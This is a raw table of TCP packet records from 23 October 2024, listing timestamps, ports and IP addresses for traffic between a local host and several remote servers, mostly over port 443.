Oct 23, 2024 21:04:09.537182093 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.537277937 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.559926987 CEST	443	49766	104.26.12.205	192.168.2.6
Oct 23, 2024 21:04:09.560010910 CEST	443	49766	104.26.12.205	192.168.2.6
Oct 23, 2024 21:04:09.560241938 CEST	49766	443	192.168.2.6	104.26.12.205
Oct 23, 2024 21:04:09.562603951 CEST	49766	443	192.168.2.6	104.26.12.205
Oct 23, 2024 21:04:09.562618017 CEST	443	49766	104.26.12.205	192.168.2.6
Oct 23, 2024 21:04:09.563627958 CEST	49757	8020	192.168.2.6	185.174.100.20
Oct 23, 2024 21:04:09.568892002 CEST	8020	49757	185.174.100.20	192.168.2.6
Oct 23, 2024 21:04:09.574518919 CEST	49774	443	192.168.2.6	172.67.74.152
Oct 23, 2024 21:04:09.574558020 CEST	443	49774	172.67.74.152	192.168.2.6
Oct 23, 2024 21:04:09.574898005 CEST	49774	443	192.168.2.6	172.67.74.152
Oct 23, 2024 21:04:09.574898005 CEST	49774	443	192.168.2.6	172.67.74.152
Oct 23, 2024 21:04:09.574942112 CEST	443	49774	172.67.74.152	192.168.2.6
Oct 23, 2024 21:04:09.589710951 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.589723110 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.636799097 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.666677952 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.666702032 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.666766882 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.666892052 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.667037964 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.667632103 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.667660952 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.685648918 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.686379910 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.686400890 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.688662052 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.688932896 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.689435959 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.689523935 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.689558983 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.730566978 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.730582952 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.777234077 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.829977989 CEST	443	49769	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.841629028 CEST	443	49771	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.848768950 CEST	443	49770	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.853509903 CEST	49769	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.853526115 CEST	443	49769	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.854747057 CEST	49769	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.854752064 CEST	443	49769	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.859071016 CEST	49771	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.859076023 CEST	443	49771	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.859893084 CEST	49771	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.859896898 CEST	443	49771	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.860276937 CEST	49770	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.860296965 CEST	443	49770	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.861195087 CEST	49770	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.861202955 CEST	443	49770	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.886418104 CEST	443	49772	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.887223005 CEST	49772	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.887233973 CEST	443	49772	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.887567043 CEST	49772	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.887573004 CEST	443	49772	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.981173992 CEST	443	49773	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.981702089 CEST	49773	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.981712103 CEST	443	49773	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.982103109 CEST	49773	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.982110023 CEST	443	49773	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.986563921 CEST	443	49769	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.986687899 CEST	443	49769	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.986768007 CEST	49769	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.986768961 CEST	49769	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.986799955 CEST	49769	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.986812115 CEST	443	49769	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.988944054 CEST	49775	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.988960028 CEST	443	49775	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.989032030 CEST	49775	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.989150047 CEST	49775	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.989161968 CEST	443	49775	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.996680975 CEST	443	49770	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.996754885 CEST	443	49770	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.996805906 CEST	49770	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.996917963 CEST	49770	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.996936083 CEST	443	49770	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.996949911 CEST	49770	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.996958017 CEST	443	49770	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.999336004 CEST	49776	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.999356031 CEST	443	49776	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.999418974 CEST	49776	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.999560118 CEST	49776	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.999569893 CEST	443	49776	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.002091885 CEST	443	49771	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.002170086 CEST	443	49771	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.002273083 CEST	49771	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.002273083 CEST	49771	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.002315044 CEST	49771	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.002321959 CEST	443	49771	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.003971100 CEST	49777	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.003993034 CEST	443	49777	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.004062891 CEST	49777	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.004157066 CEST	49777	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.004173040 CEST	443	49777	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.023637056 CEST	443	49772	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.023941040 CEST	443	49772	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.024032116 CEST	49772	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.024032116 CEST	49772	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.024032116 CEST	49772	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.025728941 CEST	49778	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.025748968 CEST	443	49778	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.025921106 CEST	49778	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.025921106 CEST	49778	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.025945902 CEST	443	49778	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.119544029 CEST	443	49773	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.119843006 CEST	443	49773	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.120038986 CEST	49773	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.120066881 CEST	49773	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.120066881 CEST	49773	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.120088100 CEST	443	49773	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.120099068 CEST	443	49773	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.124819994 CEST	49779	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.124857903 CEST	443	49779	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.125077009 CEST	49779	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.125312090 CEST	49779	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.125328064 CEST	443	49779	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.189043045 CEST	443	49774	172.67.74.152	192.168.2.6
Oct 23, 2024 21:04:10.189527035 CEST	49774	443	192.168.2.6	172.67.74.152
Oct 23, 2024 21:04:10.189543962 CEST	443	49774	172.67.74.152	192.168.2.6
Oct 23, 2024 21:04:10.190996885 CEST	443	49774	172.67.74.152	192.168.2.6
Oct 23, 2024 21:04:10.191174030 CEST	49774	443	192.168.2.6	172.67.74.152
Oct 23, 2024 21:04:10.194025993 CEST	49774	443	192.168.2.6	172.67.74.152
Oct 23, 2024 21:04:10.194107056 CEST	443	49774	172.67.74.152	192.168.2.6
Oct 23, 2024 21:04:10.194216967 CEST	49774	443	192.168.2.6	172.67.74.152
Oct 23, 2024 21:04:10.194224119 CEST	443	49774	172.67.74.152	192.168.2.6
Oct 23, 2024 21:04:10.228346109 CEST	49772	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.228373051 CEST	443	49772	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.243968010 CEST	49774	443	192.168.2.6	172.67.74.152
Oct 23, 2024 21:04:10.321073055 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:10.321104050 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:10.321111917 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:10.321131945 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:10.321144104 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:10.321152925 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:10.321152925 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:10.321171045 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:10.321183920 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:10.321208954 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:10.321222067 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:10.321233988 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:10.321238995 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:10.321274042 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:10.321295023 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:10.321336031 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:10.388526917 CEST	443	49774	172.67.74.152	192.168.2.6
Oct 23, 2024 21:04:10.388601065 CEST	443	49774	172.67.74.152	192.168.2.6
Oct 23, 2024 21:04:10.388648033 CEST	49774	443	192.168.2.6	172.67.74.152
Oct 23, 2024 21:04:10.743916988 CEST	443	49775	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.746248960 CEST	443	49776	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.757917881 CEST	49775	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.757936001 CEST	443	49775	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.758363008 CEST	49775	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.758369923 CEST	443	49775	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.758569002 CEST	49776	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.758588076 CEST	443	49776	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.758920908 CEST	49776	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.758927107 CEST	443	49776	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.761229038 CEST	49774	443	192.168.2.6	172.67.74.152
Oct 23, 2024 21:04:10.761261940 CEST	443	49774	172.67.74.152	192.168.2.6
Oct 23, 2024 21:04:10.762387991 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:10.762408972 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:10.765029907 CEST	443	49777	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.766874075 CEST	49777	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.766896963 CEST	443	49777	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.767261982 CEST	49777	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.767267942 CEST	443	49777	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.786927938 CEST	443	49778	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.792376041 CEST	49778	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.792387962 CEST	443	49778	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.792788982 CEST	49778	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.792794943 CEST	443	49778	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.890758038 CEST	443	49776	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.890919924 CEST	443	49776	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.890974045 CEST	49776	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.893326998 CEST	443	49775	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.895437956 CEST	443	49775	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.895486116 CEST	49775	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.895817995 CEST	443	49779	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.902476072 CEST	443	49777	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.902730942 CEST	443	49777	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.902781963 CEST	49777	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.935408115 CEST	443	49778	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.935482979 CEST	443	49778	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:10.935539007 CEST	49778	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:10.946974993 CEST	49779	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.179373980 CEST	49776	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.179397106 CEST	443	49776	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.179418087 CEST	49776	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.179423094 CEST	443	49776	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.212033987 CEST	49777	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.212088108 CEST	443	49777	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.212106943 CEST	49777	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.212115049 CEST	443	49777	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.214854956 CEST	49778	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.214855909 CEST	49778	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.214947939 CEST	443	49778	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.214979887 CEST	443	49778	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.217189074 CEST	49775	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.217216015 CEST	443	49775	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.217252016 CEST	49775	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.217258930 CEST	443	49775	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.219239950 CEST	49779	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.219275951 CEST	443	49779	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.220845938 CEST	49779	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.220865011 CEST	443	49779	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.353368998 CEST	49781	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.353423119 CEST	443	49781	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.353481054 CEST	49781	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.356827021 CEST	443	49779	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.357126951 CEST	443	49779	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.357177019 CEST	49779	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.391266108 CEST	49781	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.391287088 CEST	443	49781	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.403990030 CEST	49779	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.404025078 CEST	443	49779	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.412583113 CEST	49782	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.412637949 CEST	443	49782	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.412724972 CEST	49782	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.412883997 CEST	49782	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.412899971 CEST	443	49782	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.416531086 CEST	49783	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.416572094 CEST	443	49783	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.416626930 CEST	49783	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.446472883 CEST	49784	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.446557045 CEST	443	49784	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.446578026 CEST	49783	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.446600914 CEST	443	49783	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.446640968 CEST	49784	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.447256088 CEST	49784	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.447289944 CEST	443	49784	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.451652050 CEST	49785	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.451746941 CEST	443	49785	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:11.451821089 CEST	49785	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.452101946 CEST	49785	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:11.452132940 CEST	443	49785	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.141052008 CEST	443	49781	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.148346901 CEST	49781	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.148365021 CEST	443	49781	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.149369001 CEST	49781	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.149374962 CEST	443	49781	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.170663118 CEST	443	49782	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.212790012 CEST	49782	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.217093945 CEST	443	49785	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.226226091 CEST	443	49784	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.230604887 CEST	443	49783	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.256407022 CEST	49785	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.256433964 CEST	443	49785	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.257100105 CEST	49785	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.257112980 CEST	443	49785	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.257834911 CEST	49782	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.257843018 CEST	443	49782	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.258418083 CEST	49782	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.258424044 CEST	443	49782	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.259303093 CEST	49783	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.259327888 CEST	443	49783	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.259855032 CEST	49783	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.259860992 CEST	443	49783	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.260432005 CEST	49784	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.260458946 CEST	443	49784	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.261060953 CEST	49784	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.261068106 CEST	443	49784	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.280930042 CEST	443	49781	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.281109095 CEST	443	49781	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.281423092 CEST	49781	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.282931089 CEST	49781	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.282949924 CEST	443	49781	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.290266991 CEST	49787	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.290360928 CEST	443	49787	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.290448904 CEST	49787	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.290677071 CEST	49787	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.290708065 CEST	443	49787	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.387921095 CEST	443	49785	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.387995958 CEST	443	49785	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.388048887 CEST	49785	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.391515017 CEST	49785	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.391546965 CEST	443	49785	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.391546011 CEST	443	49782	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.391577959 CEST	49785	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.391599894 CEST	443	49785	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.391761065 CEST	443	49782	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.391807079 CEST	49782	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.393753052 CEST	49782	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.393778086 CEST	443	49782	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.393795013 CEST	49782	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.393800974 CEST	443	49782	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.395565987 CEST	443	49784	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.395639896 CEST	443	49784	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.395684004 CEST	49784	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.403256893 CEST	49784	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.403276920 CEST	443	49784	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.403290033 CEST	49784	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.403295994 CEST	443	49784	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.410814047 CEST	49788	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.410851955 CEST	443	49788	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.410907030 CEST	49788	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.413393974 CEST	49788	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.413409948 CEST	443	49788	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.415317059 CEST	49789	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.415405035 CEST	443	49789	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.415478945 CEST	49789	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.416228056 CEST	49789	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.416265965 CEST	443	49789	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.418581009 CEST	49790	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.418592930 CEST	443	49790	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.418642044 CEST	49790	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.418788910 CEST	49790	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.418801069 CEST	443	49790	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.428659916 CEST	443	49783	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.428940058 CEST	443	49783	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.429028034 CEST	49783	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.440064907 CEST	49783	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.440064907 CEST	49783	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.440078974 CEST	443	49783	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.440090895 CEST	443	49783	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.443435907 CEST	49791	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.443459988 CEST	443	49791	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:12.443676949 CEST	49791	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.443792105 CEST	49791	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:12.443825006 CEST	443	49791	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.078977108 CEST	443	49787	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.079607964 CEST	49787	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.079617977 CEST	443	49787	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.080224037 CEST	49787	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.080229044 CEST	443	49787	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.174592972 CEST	443	49789	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.175108910 CEST	49789	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.175141096 CEST	443	49789	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.175715923 CEST	49789	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.175723076 CEST	443	49789	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.194125891 CEST	443	49791	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.194509983 CEST	49791	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.194521904 CEST	443	49791	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.194982052 CEST	49791	443	192.168.2.6	13.107.253.45
